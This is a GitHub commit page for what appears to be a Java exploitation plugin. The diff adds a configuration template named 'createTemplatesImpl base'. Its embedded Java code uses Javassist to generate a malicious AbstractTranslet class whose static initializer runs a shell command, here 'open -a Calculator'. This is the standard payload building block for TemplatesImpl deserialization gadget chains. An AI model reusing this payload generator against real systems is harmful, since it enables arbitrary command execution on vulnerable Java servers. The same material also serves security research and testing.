Skip to content

Commit d5c1130

Browse files
author
yulate
committed
在模版中添加新的createTemplatesImpl
1 parent 83c3747 commit d5c1130

File tree

1 file changed

+22
-0
lines changed

1 file changed

+22
-0
lines changed

src/main/resources/plugin_config.json

+22
Original file line numberDiff line numberDiff line change
@@ -107,6 +107,28 @@
107107
"version": "3.29.0-GA"
108108
}
109109
]
110+
},
111+
{
112+
"name": "createTemplatesImpl base",
113+
"code": " public static byte[] getTemplates() throws CannotCompileException, IOException, NotFoundException {\n ClassPool classPool = ClassPool.getDefault();\n // 生成一个随机的类名\n String randomClassName = \"Test_\" + UUID.randomUUID().toString().replace(\"-\", \"\");\n CtClass ctClass = classPool.makeClass(randomClassName);\n ctClass.setSuperclass(classPool.get(\"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet\"));\n String block = \"Runtime.getRuntime().exec(\\\"open -a Calculator\\\");\";\n ctClass.makeClassInitializer().insertBefore(block);\n return ctClass.toBytecode();\n }",
114+
"imports": [
115+
"javassist.ClassPool",
116+
"javassist.CtClass",
117+
"java.io.IOException",
118+
"java.io.ByteArrayOutputStream",
119+
"javassist.CannotCompileException",
120+
"javassist.NotFoundException",
121+
"java.lang.reflect.Field",
122+
"javassist.ClassClassPath",
123+
"java.util.UUID"
124+
],
125+
"mavenDependencies": [
126+
{
127+
"groupId": "org.javassist",
128+
"artifactId": "javassist",
129+
"version": "3.29.0-GA"
130+
}
131+
]
110132
}
111133
]
112134
}

0 commit comments

Comments
 (0)